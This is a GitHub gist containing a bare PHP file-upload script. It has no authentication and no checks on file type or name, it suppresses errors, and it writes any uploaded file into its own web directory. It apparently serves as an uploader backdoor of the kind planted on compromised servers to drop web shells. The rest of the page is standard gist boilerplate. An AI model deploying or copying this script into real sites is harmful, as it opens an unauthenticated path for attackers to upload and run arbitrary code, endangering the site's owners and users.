Created
April 22, 2018 07:59
-
-
Save FrozenFrog/c95350a38226a4a10a093cb31d4c738d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(isset($_POST['Submit'])){ | |
$filedir = ""; | |
$maxfile = '2000000'; | |
$userfile_name = $_FILES['image']['name']; | |
$userfile_tmp = $_FILES['image']['tmp_name']; | |
if (isset($_FILES['image']['name'])) { | |
$abod = $filedir.$userfile_name; | |
@move_uploaded_file($userfile_tmp, $abod); | |
echo"<center><b>Done ==> $userfile_name</b></center>"; | |
} | |
} | |
else{ | |
echo' | |
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment